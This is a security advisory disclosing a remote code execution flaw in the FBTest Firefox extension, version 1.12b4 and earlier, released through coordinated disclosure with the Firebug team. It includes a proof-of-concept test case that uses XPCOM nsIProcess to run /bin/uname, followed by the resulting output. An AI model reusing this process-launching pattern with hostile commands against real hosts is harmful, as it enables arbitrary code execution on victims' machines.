General info:
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The Firefox extension FBTest (http://getfirebug.com/wiki/index.php/FBTest) version =< 1.12b4 allows RCE on a host running tests.
This was only tested on Linux. If the user running FBTest would point extension to the URL containing malicious test cases (intentionally or by being lurked),
then JavaScript code can freely call Mozilla components using XPCOM framework. Some may say it's a feature and this is how extensions generally work. OK, cool.
Important notice:
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1) It should be crystal clear the FBTest is not part of Firebug.
2) It should be clear that FBTest is not distributed with Firebug.
3) It should be clear Firebug users are not affected in any way by any bugs in FBTest.
4) FBTest is just a helper extension primarily used by Firebug Working Group for testing Firebug.
Thanks to Firebug team and especially to Jan (Honza) Odvarko for help in coordinated disclosure of this advisory.
Running PoC:
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[New Thread 0xe36ffb70 (LWP 22040)]
[New Thread 0xe2efeb70 (LWP 22041)]
[New Thread 0xe26fdb70 (LWP 22042)]
Linux box 3.2.6 #1 SMP Wed Feb 6 01:19:11 GMT 2013 x86_64 GNU/Linux
[Thread 0xed82db70 (LWP 22027) exited]
[Thread 0xe54ffb70 (LWP 22038) exited]
[Thread 0xeb4ffb70 (LWP 22030) exited]
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FBTest stub:
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RCE testcase:
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function runTest() {
try {
main();
FBTest.clearCache();
}
catch (err) {
FBTest.exception("Exception occured: ", err);
}
finally {
FBTest.testDone();
}
}
function main()
{
try { cmd(); FBTest.clearCache(); } catch (e) { ; }
}
function cmd() {
try {
var f = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
} catch (e) { alert(e); }
f.initWithPath("/bin/uname");
var p = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
p.init(f);
const args = ["-a"];
p.run(true, args, args.length);
}
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Credits:
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AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b
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